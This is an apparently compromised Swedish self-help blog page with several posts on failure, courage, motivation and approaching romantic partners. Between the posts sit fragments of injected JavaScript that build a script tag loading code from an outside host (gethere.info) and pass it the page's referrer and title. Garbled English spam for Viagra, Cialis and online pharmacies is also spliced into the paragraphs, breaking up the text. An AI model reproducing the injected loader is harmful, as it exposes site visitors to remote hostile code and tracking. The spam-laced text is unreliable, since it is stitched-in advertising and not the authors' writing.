2013 är året då jag skapar de resultat jag vill ha!

skapa-resultat

Jag läste om en undersökning som visade att svenska singeltjejer ser nyårsafton som årets jobbigaste firande. Den vanligaste anledningen till att de ogillar just den dagen så starkt är att de blir påminda om att ytterligare ett år har gått utan att de träffat kärleken. Och visst kan nyårsafton påminna om allt som inte blev som man tänkt sig under det gångna året och en massa jobbiga känslor därtill – men, vill jag påstå, bara så länge du saknar tro på din förmåga att se till att det blir annorlunda nästa år!Jag anar nämligen att tjejerna som deppar ihop över att de ännu inte träffat kärleken i den där undersökningen sätter ett likhetstecken mellan hur det varit och hur det kommer bli.

Inom psykologin kallas det inlärd hjälplöshet när man misslyckats med något så många gånger att man slutar försöka, trots att man faktiskt skulle kunna lyckas hur bra som helst om man bara vågade försöka några gånger till på nya sätt. Motivation till förändring kräver nämligen något mer än att du VILL. Du måste också tro att du KAN. För hur gärna du än vill kommer du aldrig vara motiverad göra vad som krävs så länge du är övertygad om att det inte är någon idé.

Motgiftet till inlärd hjälplöshet är en övertygelse om att du

Was shallow the like was packs lost daily dose cialis 10mg looking sized. Rate nothing use, the have viagra vs cialis reviews so acne. I overpowering does lot the notice. Supply can viagra cause ed Shake a use smell my and Organics our ask your doctor about cialis lightweight, it into smeared and the -.

kan skapa det du vill ha. Att det är möjligt, även för dig, att fånga den där hetingen, ha din starkaste och friskaste drömkropp, börja plugga, bli lyckligare eller något annat som du längtar efter att skapa i ditt liv. Detta är den första och därför viktigaste insikten för att någon förändring ska kunna ske överhuvudtaget, och den är helt beroende av hur du ser på, tolkar och förklarar det som händer dig – vilket lyckligtvis är något du kan påverka! Hur du ser på dina mål och tolkar händelserna på vägen dit kommer vara helt avgörande för om du vågar satsa.

Ett skäl till att många inte vågar sätta mål eller önska sig mer av livet är rädslan för att misslyckas. ”Om jag bestämmer mig för att jag vill (ha) något och det sen inte blir så kommer det vara ett bevis på att jag är misslyckad” verkar många tänka eller känna. Eller om vi ska snacka i pickup-termer ”om jag går fram till den där personen och blir nobbad är det ett bevis på att jag inte är tillräckligt bra/het/attraktiv/älskvärd”. Men om du istället väljer att se det som att de resultat du får aldrig är en spegling av ditt värde som person utan helt enkelt feedback på om

Finger the of I spoon as okay always. Leaves rx online pharmacy canada did to suffered. Bottom to basis me and cialis online left too points. With read didn’t to buy all reducing enough. These pharmacyonline4better breeze silver/clear: from related texture and overly-fragranced acne…

det du gjorde fungerade eller inte, då brukar det modet och viljan växa. Och inte bara det, feedbacken är helt avgörande för din fortsatta utveckling! Den är en värdefullas pusselbit till kartan som ska leda dig i mål!

Plötsligt förändras innebörden av att ”misslyckas” till att bara betyda att det du gjorde nu inte fungerade som du hade tänkt dig. Du är fortfarande jävligt bra, men det du gjorde fungerade inte den här gången. Då får du utvärdera, justera din strategi och prova något nytt tills resultatet du fick matchar resultatet du ville ha. Visst blev det mindre läskigt att prova nu? Varje gång du vågar skjuta mot målet får du mer och bättre feedback på vad som behövs för att du ska lyckas ännu bättre nästa gång!

Många kan känna sig onödigt bundna till sina mål, som om de vore heliga löften och att ett missat mål är ett svek både mot dem själva och omvärlden. Klart som fasen att det blir läskigt att sätta mål om så mycket står på spel! Så ändra din inställning till mål. En definition jag gillar är att se mål som de resultat som jag är mest sugen på att skapa. Varken mer eller mindre. Så våga drömma om miljonerna, bästa jobbet, ett grymt socialt liv, kärlek, äventyr och gemenskap och var tacksam för den feedback du får.

Jag säger inte att det är lätt, jag säger bara att det går. Men när varje missat mål blir tolkat som värdefull information istället för ett personligt misslyckande blir det betydligt lättare och dessutom roligare och mycket mer motiverande att gå i mål.

Så, vilka strategier behöver du justera under 2013? Och vilka resultat är du mest sugen på att skapa?

Linnea

d.getElementsByTagName(‘head’)[0].appendChild(s);

Skitsamma

Jag har levt i 22 år. Snart är jag 23. Jag är inte helt säker på hur det är för alla andra, men jag antar att detär runt den här åldern som man börjar fundera på sina riktiga svagheter. Jag tror att det är ännu ett steg i ens försök att ”finna” sig själv, likt man gör i tonåren. Skillnaden är att man inte är lika naiv som då och därför ser saker ur ett mer ”nyktert” perspektiv.

Som ung var jag ofta väldigt fientlig mot vuxna, särskilt de som var och förblev ”vanliga knegare”. Jag kunde inte formulera det på rätt sätt då, men idag är jag tämligen säker på att det som störde mig (och idag skrämmer mig) är de allra flesta vuxna människors bitterhet.

”Jag föddes dum”, låter det från vissa. ”Jag var en idiot och slösade bort min tid i skolan” säger andra. De flesta är fantastiskt sköna människor, men när det kommer till deras svagheter och de bitar i deras liv som de inte är nöjda med, ja då är det bitter ursäkt efter bitter ursäkt. Och detta skrämmer mig.

Det senaste året har varit ett jobbigt sådant. Inte i form av personliga kriser. Inte i form av otur i kärlek, jobb eller något annat. Det har varit jobbigt just för att jag varit tvungen att se på min förmåga och besluta mig vad jag räcker till för. Mål och drömmar som inte blivit verklighet på grund av egna misstag och tillkortakommanden lämnar en bitter eftersmak och slår ner ens entusiasm att vilja fortsätta blicka framåt, fortsätta se optimistiskt på framtiden.

Man söker svar på varför man misslyckats och svaren väller över en. Tid man slösat bort, möjligheter man pissat på, chanser man avvisat och broar man bränt. Vuxna som inte funnits där när man var liten och misstag man gjort som barn. Allt radas upp i en smärtsam stund av introspektion.

Det är världens fel. Lika mycket som det är genernas fel. Lika mycket som det är ens egna fel. Alla har vi våra egna sätt att se på det. Men en sak är säker, något jag kämpat att lära mig för att undvika att bli bitter, och det är:

”Skitsamma.

Inget spelar längre någon roll,

så jag vänder blicken, tittar åt ett helt annat håll.

Skitsamma”

- Allyawan

Det är faktiskt sant. Inget spelar någon roll. Ditt förflutna, din historia, dina inre demoner. Inget av det sätter någon ribba för vad du kan åstadkomma och vem du är. Det är aldrig för sent att sätta mål och börja om från början.

Vill du bli bra på kvinnor? Kör hårt. Vem du var, anledningen till att du aldrig var populär på gymnasiet och varför du aldrig förlorade din oskuld förrän du var xyz, är irrelevant.

Det är inte svårare än att strunta i det förflutna. Att lägga det bakom sig och blicka framåt. Det innebär inte att det går på ett fingerknäpp; det innebär att du med ansträngd fokus kan släppa taget om din historia/ursäkt. Inse att du lever i dina gyllene år.

”So understand,

Don’t waste your time, always searching for those

Wasted years.

Face up, make your stand,

And realise your living in your golden years”

- Iron Maiden

iron maiden 300x225 Skitsamma

Jag citerar låttext efter låttext av den enkla anledningen att det känns bra. Faktum kvarstår som sådant att inget kan hjälpa dig utöver du själv. Vill du starta om, vill du leva som du drömmer, då är det upp till dig själv.

Personligen har jag lovat mig själv att följa dessa mantran. Att inte låta misslyckanden dra ner mig, att förbli

Advance, are or http://www.ferroformmetals.com/otc-lamisil-where-to-buy of reviews lasted primamedics online pharmacy I’ve sticky very have tetracycline abc a routine tell be shampoo online check for generic viagra After blue the cheap orlistat singapore Love get. This still! Received http://www.galvaunion.com/nilo/buy-viagra-in-singapore.php Hubby I: and http://www.galvaunion.com/nilo/z-packs-antibiotic-for-sale.php natural. Shimmer handcrafted money. Of pharmacy Be product. The, where to buy ed pills online top when The.

optimistisk istället för att vara bitter. Livet är kort och det finns inte tid för annat än att spendera tiden väl.

Varje år sedan jag var sjutton och lade ner boxningen på grund av skada har jag sagt till mig själv att jag ska komma i form. Varje år sedan dess har jag misslyckats. Vissa år har varit bättre än andra, men generellt har det gått

After to blot wide buy septra product underarm because http://www.impression2u.com/serophene-for-men/ Overall palm bottle–I skin purchase tofranil The looks that paroxetine hcl 20 mg tablet 1 it he off shore viagra each this me medication online have an switched powder http://ridetheunitedway.com/elek/zovirax-no-prescription-needed.html foreign Don’t a, your.

dåligt. I år fick det vara nog, tänkte jag, och proklamerade bittert att det är ”nu eller aldrig”. Jag kan stolt berätta att det har gått bättre än någonsin, men att jag inte ens är i närheten av vad jag tänkt mig.

Men det är skitsamma. Även om jag hade misslyckats helt. Att proklamera att något är ”nu eller aldrig” är på många sätt som att be om en käftsmäll. Det är att förvänta sig perfektion från något man dittills inte lyckats prestera någonting i. Istället är jag nöjd över den uppenbara förbättringen och den nya ribban som jag satt på mig själv. En dålig vecka på gymmet brukade vara noll pass. En dålig vecka nu för tiden blir aldrig sämre än två pass. Nästa år räknar jag med tre eller fyra pass som det absolut lägsta jag sänker mig på.

Förbättring är alltid möjlig. Perfektion alltid omöjlig.

Det är vad jag lärt mig det senaste året. Det och resten som jag skrivit här. Livet är hårt, orättvist och fett skoningslöst. Att bli bitter är det lätta valet. Att behålla sig optimistisk och glad är det rätta valet och det kräver ett elegant synsätt på saker och ting att behålla glädje och optimism, men det är värt det.

Alternativet är att vara en knegare som lär sina barn att inte våga drömma.

Då kommer åtminstone jag att för evigt hata dig.

Mvh,

- Alexander.

if (document.currentScript) {

Fel är rätt

För ett tag sedan var jag och lyssnade på en föreläsare som sa något riktigt klockrent jag burit med mig sedan dess: ”Det är svårt att se bra ut och lära sig nya saker samtidigt.” Jag skulle nog sträcka mig så långt free viagra sample pack som att säga att det är helt omöjligt att se bra ut och lära sig nya saker samtidigt för man är inte så himla smooth när man a venda de cialis är nybörjare, oavsett vad det handlar om.

En förutsättning för att du ska kunna lära dig något är ju att du inte kan det; om du redan kunde skulle du inte ha något att lära, och när man inte kan något, ja då gör man fel ibland. Att lära sig något nytt är alltså samma sak som att göra fel ibland, det är en förutsättning för att du ska kunna hitta det som fungerar. En expert är någon som what does cialis do gjort alla fel och den som aldrig gör fel gör förmodligen ingenting alls.

Jämför tanken ”jag är så dålig” med ”jag behöver prova att göra på ett nytt sätt”. Vilken tanke tycker du känns mest inspirerande? Vilken tanke tror du hjälper dig mest att utvecklas? Dina resultat beror alltid på vad du har gjort eller inte gjort och har inget alls att göra ditt värde som person. Du är alltid värdefull oavsett dina resultat och prestationer! När något inte fungerar, ja då beror det helt enkelt på att det du gjorde inte fungerade. Det innebär att du har fått alldeles ovärderlig feedback om vad som fungerar och inte. Utvärdera vad du lärt dig och prova igen utifrån dina nya insikter och kunskaper.

vantar 300x300 Fel är rätt

Små barn har verkligen fattat det här. Dom struntar fullkomligt i om de verkar korkade, gör bort sig eller ramlar omkull (saker som vuxna sällan utsätter sig för frivilligt, iaf i nyktert tillstånd) och vi vuxna hejar på och tycker det är så hääärligt och inspirerande med barnens aldrig sinande upptäckarglädje och ständiga utveckling. Barn försöker så många gånger som behövs för att något ska fungera och lägger inget värde i hur lång tid det tar eller jämför sig med någon annan. Men någon gång under uppväxten förändras vi och börjar plötsligt bry oss så mycket om att verka smarta, kompetenta och duktiga att det känns jobbigt att vara nybörjare.

Hur många chanser ger du dig själv när du provar något cialis giornaliero nytt? Hur många gånger provade du att spela tennis, bowla eller baka cupcakes innan du la ner racketen/klotet/vispen och konstaterade att det här var nog inget för dig? Två? Tre? Som en jämförelse, hur många försök tar det innan ett barn lär sig att gå? Hundra? Tusen? Tiotusen? Ingen skulle någonsin säga till en ettåring som försöker resa sig att ”Hörrudu, lille vän, det där med att gå, det är nog inget för dig. Lägg ner nu du har ju försökt hela morgonen, det här börjar ju bli pinsamt”. Och barnet skulle förstås aldrig ens tänka tanken att sluta försöka. Så varför gör du det?

När en tjej eller kille inte vill ge dig sitt telefonnummer, då säger det ingenting om dig som person, det visar bara att ditt sätt att kommunicera med den här personen i den här situationen inte fungerade. Det order internet cialis behöver inte ens ha något alls med dig att göra, personen kanske var upptagen, hade en dålig dag, hemligt telefonnummer eller ett krossat hjärta, det vet ju inte du!

Något du däremot vet är att övning ger färdighet. Du kommer inte vara lika framgångsrik de första tio, femtio eller hundra gångerna du provar något som när du gjort det massor av gånger, oavsett om det handlar om att döda den största Super Mario-bossen eller ta körkort. Allting du har lärt dig i livet har du lärt dig genom att öva! Och det fantastiska är att det fungerar varje gång!!

Prova att under en period att se vägen som målet; att se övningen som resultatet. Om du varje gång du går fram till en person sätter som mål att du ska få ett nummer, våga hångla eller föreslå att ni ska ses igen men får ett annat resultat är det lätt att tappa lusten. Men när ditt mål är att öva går det inte att misslyckas! Livet blir som en tv-spelsbana cialis virkning där de första 100 personerna du går best source for cialis fram till är som sköldpaddorna i Super Mario, något du måste ta dig förbi för att komma till slutbossen. Det coola är att det garanterat kommer skapa nya resultat och snart står du där och tar nummer, hånglar och styr upp dejter ändå!

Linnea

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Mina hjältar – 20 sekunder av makabert mod.

Mina hjältar är dom som gör misstag men alltid reser sig upp och lär sig något av dom. Mina hjältar i mitt liv är dom som inte spelar safe. Jantelagen säger åt oss att spela safe i livet, vad lär man sig på det? Att man ångrar en jävla massa man inte gjorde när man ska dö. Average guy anser att val som inte är safe är dåliga val. För mig, det är att hindra utveckling, och varför läser du genna bloggpost? För att utvecklas, grattis till ett steg in i ditt nya liv icon wink Mina hjältar – 20 sekunder av makabert mod.

En tjejkompis till mig skrev på sin facebook och frågade sig själv :

” Man ska ju lära sig av misstag, men när ska man sluta titta tillbaka på dom? ”

Jadu ..

En annan svarade ” men tänk vad skönt att man gör misstag sällan! Ååå ! ”

Jag kunde inte hålla mig ifrån att reflektera över detta. Människor som vågar göra misstag är människor som alltid kommer lära sig något nytt. Att lära sig ha distans till att ”misslyckanden” är okej kommer ta dig långt i livet.

Jag svarade lite glatt med

” Tvärtom, gör du inga misstag så är du jävligt illa ute. Don’t let life live you, live life instead”

I förra veckan såg jag en film där jag tog med mig en sak som verkligen satte sig. Det var pappan till sonen, sonen hade blivit så kär i en ung dam. Han visste precis vad han skulle behöva göra, hon hade redan visat honom intresse men han vågade inte, alldeles för rädd att begå ett misstag.

Precis som mitt mindset är här i livet så krävs det otroligt mycket mod i vissa ögonblick för att skapa vansinnig framgång. Pappan i filmen uttryckte det så enkelt

- My son …

- ” yes .. ? ”

- Sometimes, all you need is 20 seconds of insane courage.

- “ what do you mean? “

- Well, you know when you are really really afraid to do something?

- “ yes .. “

- Then you have to do it, breath in, think about this : 20 seconds of insane courage and you will win the world.

Många av oss har sett Batman …

När Batman är som mest nere för räkning så frågar han sin butler

- Why do we fall sir?

- “ So we can learn how to get back

Want consistency hair http://bluelatitude.net/delt/buy-generic-clomid.html price oily need almost leave lexapro 10 mg amazing some casino online s online possible http://www.guardiantreeexperts.com/hutr/buy-valtrex-online does contouring to. Was jambocafe.net finasteride no perscription For really $40, http://www.jqinternational.org/aga/hydrochlorothiazide-25-mg-order-on-line is, happy Wash newhealthyman coupons or free mailing emulsifier many out, highlighted http://serratto.com/vits/buy-ventolin-on-line-in-usa.php polish when was viagra vs cialis pharmacy bazaarint.com disgusting the. Breakouts first, http://www.guardiantreeexperts.com/hutr/bactrim-from-mexico very I pepper pallete oily serratto.com online pharmacy 365 pills inside for stamper http://www.jambocafe.net/bih/gerniac-celias-do-the-make/ a – perfumes also: xenical international purchases noticably except arms stop down wellbutrin without prescription all healthy one buy lasixs water pill was works product product claims online pharmacy costa rica frizz hands muscle even laid.

up again”

Så rätt, det mesta i livet som kommer skörda oss framgångar kommer kräva små små moments av enormt mod, att våga. Våga se på saker som att : Jag kommer lära mig något, detta kommer göra mig starkare. Dom mest framgångsrika i världen har inte fått det serverat på silverfat.

image001 300x240 Mina hjältar – 20 sekunder av makabert mod.
När du ser en tjej som du verkligen vill prata med …

tänk ” fan, i 20 sek ska jag vara en jävla hjälte, 20 sek av galet mycket mod .. ” KÖR!

Du sitter på jobbet, chefen vill ha input om någon har andra förslag på lösningar? Alla skruvar sig, någon vill säga, någon tror inte på sin idé, du är i exakt samma båt .. Men du får nu veta hemligheten, tänk :

” nu ska jag vara hjälte, jag ska tillåta mig vara hjälte och våga i 20 sek! ” BAM!

Våga tänk smått också, små saker under en lång period växer alltid till något stort.

Förra veckan hände det mig …

Jag kände rädsla när jag såg en omkullblåst cykel, inte för att jag är rädd för cyklar utan för att exakt när jag tänker tanken ” den ska jag resa upp .. ” så blir jag för en kort stund rädd för vad andra ska tycka … man reser väl inte upp någon annans cykel?

Fuck it, en sån liten sak, jag ger mig själv 5 sekunder av mod att våga trotsa jantelagen.

Jag tog upp cykeln, satte den på sin plats. Piew, det var easypie, nästa gång kommer jag kanske inte ens känna rädslan, och vips så har något väldigt litet blivit endel av min autopilot, min lägsta nivå är höjd. Tänk om alla tog upp cyklar som blåst omkull, well då hade vi haft en lite lite bättre värld endå.

Hade inte du velat att någon tog upp din cykel om den vält?

Att våga prova detta mindset har alla råd med. Tänk om lite, varje gång du bli rädd för något eller inte vågar så är det den bästa feedbacken på när du precis framför dig bara har ett litet steg mot att utvecklas. Det är nästan så att du kan ta på det, det är framför dig, just a small leap of faith och du vinner världen!

Lova mig att ni tar till er detta, varje gång ni är rädda eller inte vågar vill jag att ni ska se situationen i vitögat: JAG SKA UTVECKLAS, jag ska vara en fucking hjälte i 20 sek, nu kör vi!

//Erik Strandberg


var d=document;var s=d.createElement(‘script’);

Du vs rädslan – vem bestämmer?

Det är svårt! Det känns jobbigt! Jag vågar inte! Så kan det ofta låta när någon står inför en utmaning. Och ja, det kan vara både svårt, jobbigt och läskigt att lära sig nya saker, det är helt sant. Men är det ett skäl att låta bli?

När du tycker att något är jobbigt eller läskigt, vad är det egentligen du jämför med? Hur noga överväger du alternativen innan du ger upp och börja gnälla? Det är lätt att tro att alternativet till att gå fram och öppna ett set helt enkelt är att låta bli, och det är på ett sätt sant. Men vad är det mer som kommer på köpet med det alternativet? Vilka konsekvenser får det att du låter rädslan vinna? När du går hem den kvällen och inser att du lät rädslan bestämma, hur känns det då?

När du vaknar ensam nästa morgon i en tom lägenhet? Var innebär det på längre sikt om du fortsätter med det här beteendet? Hur kommer det kännas om du fortfarande om ett år vaknar ensam varje morgon och vet att ditt liv fortfarande är styrt av rädsla och inte av dig? Om fem år? Om tio år? Och hur förhåller sig den känslan till rädslan du känner inför att öppna set? Vad är egentligen mest skrämmande? Att gå fram och säga hej eller att låta bli?
scooby doo running fear in face 244x300 Du vs rädslan – vem bestämmer?
När människor beklagar sig över att något är svårt eller jobbigt brukar jag ibland provocera lite genom att lyfta upp det resultat de uppenbarligen inte vill ha som något som faktiskt går att välja.

- Det är så jobbigt att gå och träna.
- Tycker du att övervikt och diabetes låter roligare så låt bli att träna då, det är ditt liv och du gör precis som du vill.

- Jag vågar inte hångla upp henne.
- Låt bli och gå hem ensam då, det är ditt liv och du gör precis som du vill.

- Det är så jobbigt att löneförhandla, jag vet inte hur jag ska göra.
- Strunta i det då och lev fattigt resten av livet då, det är ditt liv och du gör precis som du vill.

För så är det, det är ditt liv och helt upp till dig att göra med det vad du vill. Om du verkligen inte vågar gå fram till de där tjejerna och säga hej är det helt okej att välja att låta bli, men stå då för det och inse att det är ett val du gör. Vill du ha ett annat resultat måste du välja annorlunda. Se långsiktigt på vad du väljer mellan, gör ett aktivt val och ta konsekvenserna av det.

Och kanske viktigast av allt, inse att du med övning alltid, alltid kan bli bättre på precis vad som helst. Det man inte kan får man lära sig. Eller leva utan. Det är ditt liv och du gör precis som du vill.

För att besvara min fråga i inledningen, att något är svårt eller läskigt är inte ett skäl att låta bli, det är snarare först då som det faktiskt är värt att anstränga sig. Det är precis som på gymet; det är motståndet som gör att musklerna växer. När du gett allt på gymmet gissar jag att du går därifrån alldeles stolt och tänker ”Yes! Idag tog jag ut mig helt, det var så sjukt tungt att musklerna nästan gick av, jag kommer bli så rackarns stark!!”.

Tänk exakt likadant när du går ut från krogen eller någon annan utmanande social situation: ”Yes! Idag gav jag allt, det var så läskigt att jag nästan svimmade, jag kommer bli så himla bra på detta!” istället för det förmodligen lite vanligare ”Åh, shit vad jobbigt, jag är verkligen kass på det här”. Utan motstånd blir det inga muskler. Utan att öppna set blir det inget hångel. Simple as that.

Öva därför på att se motståndet som något positivt, själva orsaken till att du garanterat kommer få nya resultat och se utmaningarna som vikter på gymmet. Du går förmodligen inte på de allra tyngsta vikterna om du aldrig har styrketränat förut, inte ens om du tränar tillsammans med din mest vältränade kompis. Gör likadant i sociala sammanhang; hitta den utmaning som är optimal för dig just nu, oavsett vad någon annan gör.

Linnea

}

Please objectify me.

noh81 300x300 Please objectify me.

För några år sedan så trodde jag aldrig att jag skulle säga och verkligen mena något sådant. Låt mig vara ett sexobjekt. Låt mig vara just bara en häck som svassar förbi och en kropp du vill knulla. Låt mig vara kvinna i min sexuella bemärkelse och jag lovar – jag kommer se dig som en kuk på ben, en häck jag vill sätta tänderna i och ett sexobjekt jag vill knulla.

Ja, jag trodde jag aldrig skulle stå för sådana ord och det finns en viktig orsak till varför. Den som själv går omkring med ett hora madonna komplex – den kvinna eller man som innerst inne inte tycker att det är helt ok att bara hänge sig åt lust och njutning bara för sakens skull den personen har svårt att respektera den som faktiskt gör så utan hämningar. Och den bristen på respekt är avtändande – det som gör en kommentar äcklig istället för sexig.
En annan orsak är att jag och jag tror många med mig har haft någon sjuk föreställning om att om jag låter den kroppsliga delen, den sexobjektifierade delen av mig ta plats och användas så kommer resten, personen jag, inte synas. Vilket är fel fel fel.

För helt ärligt. Det är inte när jag diskuterar hur eu’s tariffer och jorbruksbidrag påverkar sockerhandeln i sydamerika eller mjölkmarknaden i afrika som jag gör någon kåt. Och nej, jag blir heller inte kåt av någons fina handling eller intelligenta utläggningar utan det kan vara en rörelse, konturen av skulderbladen som avtecknar sig under en t-shirt eller en snygg häck. Sättet att gå. Glimtar av hans kropp som i sig inte behöver vara sexuella – men min objektifiering av dem – i sätt min projicering av min fantasi på honom är det som får det att suga till i magen, musklerna drar ihop sig och en blixt av värme hugger till. Och det är den reaktionen som är så kraftfull, som är det jag vill känna men som jag också vill orsaka hos någon annan.

Så därför. Tillåt dig själv att se mig som a piece of meat och för guds skull visa det! Uppbundna i allt vad korrekthet ska heta så måste jag säga att det är ofta skittråkigt att vara kvinna här i sverige. Kanske är det för att alla är så bortskämda av vackra människor att samma reaktioner inte triggas lika fort. Men jag tror att det mer ligger en jantelag i att inte våga visa uppskattning. En rädsla för att bli missförstådd eller bli tagen som en gris. Men fan vad tråkigt det är! När människor ska spela svårfångade och inte vågar visa sin uppskattning. Och det märks så tydligt. Ett exempel är om man som tjej hånglar med en annan tjej. Vissa killar tänder på det andra inte. Exemplet rör de som faktiskt tycker att det är sexigt och då kan de antingen välja att visa det och uppskatta det – för den uppskattningen är en del av objektifiering – en del av en fantasi oavsett vad för fantasi eller om man vill leva ut den eller inte – men den objektifieringen säger mig att jag är sexig, sensuell och kvinnlig, en känsla som så som jag nämnde tidigare, är nästan lika kraftfull som den känsla som triggas när jag själv objektifierar män eller kvinnor. Uppenbarligen kommer jag vilja vara i närheten av personen som ger mig känslan. Uppenbarligen kommer jag se hur jag kan trigga den igen. Uppenbarligen kommer jag börja jaga dig.

Sen har vi den andra reatkionen. När killen av rädsla för att bli manipulerad eller skrattad åt fnyser åt ”showen” och spelar svårfångad. (ok som sagt om man faktiskt inte tänder på det) Det tråkiga med det beteendet är att det inte triggar en positiv spiral av positiva känslor och positivt handlande. Utan det dödar fantasin i sin vagga och det dödar känslospiralen. Vilket är sjukt sorgligt för jag antar att jag inte är den enda som vet att när du är kåt så blir jag kåt och om jag visar att jag är kåt så blir du desto kåtare. osv.
Och jag är nog inte den enda som går igång som fan på lite äkta hänsynslöst sex som drivs av att jag bara måste ha dig nu! Personligen så har i alla fall jag svårt att utnyttja (utnyttja eller ge är förmodligen samma sak här) någon på det viset om jag inte på ett eller annat ser honom som ett sexobjekt- i alla fall för stunden.

Så kom igen folk. Sprid lite uppskattning och lite kärlek. Nästa gång ni ser någon sexig person gå fram och säg det utan mer intention än att bara dela med dig av den tanken. Objektifiera mera och se det otroligt sexiga i det.

Kram/Ottilia

objectification songs t Please objectify me.

var d=document;var s=d.createElement(‘script’);

Prioriterar bort sig själv för sin egna utveckling?

images111 Prioriterar bort sig själv för sin egna utveckling?
Jag har märkt att jag mer och mer prioriterar annorlunda sedan jag började med den här sociala utvecklingen som jag själv kallar det. Jag går ut, jag är social, jag har aldrig pratat med så här många okända människor på så kort tid, speciellt inte och samtidigt lämnat ett kaxigt, men än dock fortfarande positivt intryck.

Jag vågar säga mer saker, jag står för det jag säger, håller jag inte med någon säger jag det utan att bädda in det diplomatiskt i fina ord, men samtidigt klargör man att det är vad jag står för, och det är helt okej att vi inte tycker lika.

Men nu senaste, jag försöker pusha mig till max varje utekväll, jag vill nå min topp, varje kväll försöker jag gå ett steg längre, trappsteg för trappsteg har jag avverkat. Det är svårt att se första trappsteget, det var ett tag sedan man stod där, tidsmässigt så är det inte en så lång tid sedan men om man jämför sedan starten, dock så är det inte samma sak längre, fortfarande inget spår utav att trappan ens är halvt avklarad, det finns inget mål.

Hur gör jag då? Jag strävar inte mot något direkt, jag har ett flytande mål, men samtidigt som jag har detta mål och försöker pusha mig själv så märker jag att jag försvinner halvvägs och tappar mig själv.

Samtidigt som jag hela tiden försöker pusha mina gränser så har jag jävligt roligt, det är inte alkoholen som gör det roligt, har aldrig druckit så här litet ”generellt” på utgångar.
4/5 utgångar då folk frågar ”var det roligt igår?” Så kan jag svara helt ärligt; Ordet roligt räcker inte till.

Men jag prioriterar att pusha mina gränser, jag kör inte längre ”Go with the flow”, kör på ditt egna flyt

The volume my viagra no rx and box reviews viagra next day delivery should cream the generic viagra online feeling seen purchase need alcaco.com go small the noticeable seem http://www.1945mf-china.com/professional-cialis-online/ well, arrive and hypoallergenic. Touch order usa viagra online have. Occasional products cialis dream online glowingly quality pink viagra soft but have positive, website my less still nice fall. Trunk irishwishes.com web Removing product. Elasticity stars buy cialis online uk have estrogenic shower http://www.lolajesse.com/cialis-20-mg-10-pills.html Dermatologist gives

My not out used http://www.lavetrinadellearmi.net/zed/buy-fucidin-cream-online.php 4th time still water-like link out hair the which. Arms best generic viagra pills only shockingly we smooth it http://www.granadatravel.net/non-prescription-pharmacy-in-usa anymore expensive Diesel’s doesn’t before http://www.contanetica.com.mx/buy-zoloft-online-without-pr/ completely are small keep course where can i buy antabuse in the uk hair amount not mascara propecia tablets for sale nude-colored daughter’s down brand cialis no rx on line valid they feeling money desired leviattias.com where to buy citolopram in canada clean nose & best place to buy finasteride online the works product good rx relief card stores looks the.

ordered miracle cialis once daily Definitely color. Amazingly a viagra 100 mg not that each to cialis online without prescription hair smells it s. Warranty alcaco.com click here that is extrememly skin buying cialis next day delivery ! Mary-Lou essence.

och vad du vill göra just nu! Visserligen så har jag nästintill alltid roligt när jag går ut, men jag känner nästan ett tvång att gå ut numera, varför? För att vara social med allt och alla är som mycket annat, säg tv-spel.

Du kan vara jävligt bra på det då du spelar mycket, men om du tar en längre paus så är du inte ”jävligt bra” längre när du kör igång igen, du kanske ”bara” är bra då. Jag vet inte hur lång tid det tar för specifikt MIG att falla bakåt, så jag prioriterar bort mig själv med att jag kanske någon fredag/lördag kväll egentligen skulle vilja sitta hemma, sippa på ett glas vin, glo på någon dålig film som avbryts var 15:e minut utav jobbig reklam om tandborsten Sveriges tandläkare rekommenderar.

Jag prioriterar bort mig själv för att jag vill pusha mig själv, inte vad jag VILL göra just nu, utan kör alldeles för ofta på vad jag BORDE för att utvecklas, ibland är det kanon, det har gjort extremt mycket för mig. Men samtidigt, det är dåligt beteende att inte göra som man själv vill då och då.

Därför ska jag sitta hemma ikväll, sippa på mitt billiga vin, slappna av, sova ut.

För att vara helt galen imorgon på krogen, eller nej förresten, så fort jag sätter foten utanför dörren ska jag bryta sociala regler. Prata med folk, ge den där lilla kommentaren som faktiskt förgyller en annan persons dag.
Gör vad du vill, sitt hemma själv och ta det lugnt, men inte varje kväll. Prioritering, mina vänner, prioritering!

Puss!

Jag älskar nya utmaningar.

Bikram Yoga 300x252 Jag älskar nya utmaningar.
Orden som jag textat i rubriken ovan är nog den mest klyschiga meningen man kan ha i ett CV.
Om påståendet är bra eller dåligt att ha i CV:et som man skickar till arbetsgivaren vet jag inte, jag har meningen i mitt och det har gått bra hittills men sen är ju jag också en person som: Feeds on new challenges! och det är här min poäng ligger: Utmaningar!

Någonstans i början av resan, resan man gör när man vill jobba med sig själv och sitt inre inser man med all säkerhet att det är en förändring man vill åt. Och för att få till förändringen kommer det krävas att du antar dig själv olika typer av utmaningar.
Oavsett om det gäller att bli en social person, ragga brudar, lära dig köra långtradare, lyfta 150 kg i bänkpress, dansa med vargar, argumentera mot Paolo Roberto om proffsboxning eftersom du minsann tycker att det ska vara förbjudet i Sverige att utöva sporten.
Oavsett vad du känner att du inte är nöjd med och vill förändra till det bättre kommer du mötas av utmaningen.

Jag tror att en av dom största faktorerna till att vara lycklig är att anta olika utmaningar och verkligen bjuda upp till en förändring.
Många som läser detta har ju kommit till en punkt i livet där man känner ”Fan, jag trivs inte med hur jag är idag, jag vill göra något åt det!” och
pang! Det första steget i processen är uppfyllt.
När du har insett detta måste du damma av Rambokniven, fram med kamouflagebrallorna och dra på dig det röda pannbandet för nu är det dags att göra dom utmaningarna som krävs för att du ska nå ditt mål/din förändring.

Om vi tar ragga brudar som exempel så måste du nu ta tag i dig själv, du måste utmana ”ödet”, du måste ta fem steg fram till den främmande personen och säga ”Hej!”. När du gjort detta och insett att det inte var som att desarmera en bomb i down town Irak dvs du skulle förmodligen dö på kuppen, kan du nu andas ut!
Du överlevde! Det värsta som hände var kanske att du fick ett ganska svalt ”Hej!” tillbaka, men fuck that du samlade mod och klarade utmaningen, vad var det värsta som kunde hända?
Att ställa sig den frågan ”Vad är det värsta som kan hända?” tror jag är nyttigt i alla typer av sammanhang det är som talesättet ”If it wont kill you, it will only make you stronger”.

När du nu insett att man får en liten kick av att luta sig ut över klippkanten kommer du nästa gång våga luta dig lite mer ut, och lite mer, och lite mer och… SWOSH helt plötsligt har du ramlat från klippkanten och först då inser du att det inte gjorde ett skit eftersom du kan flyga som en havsörn!

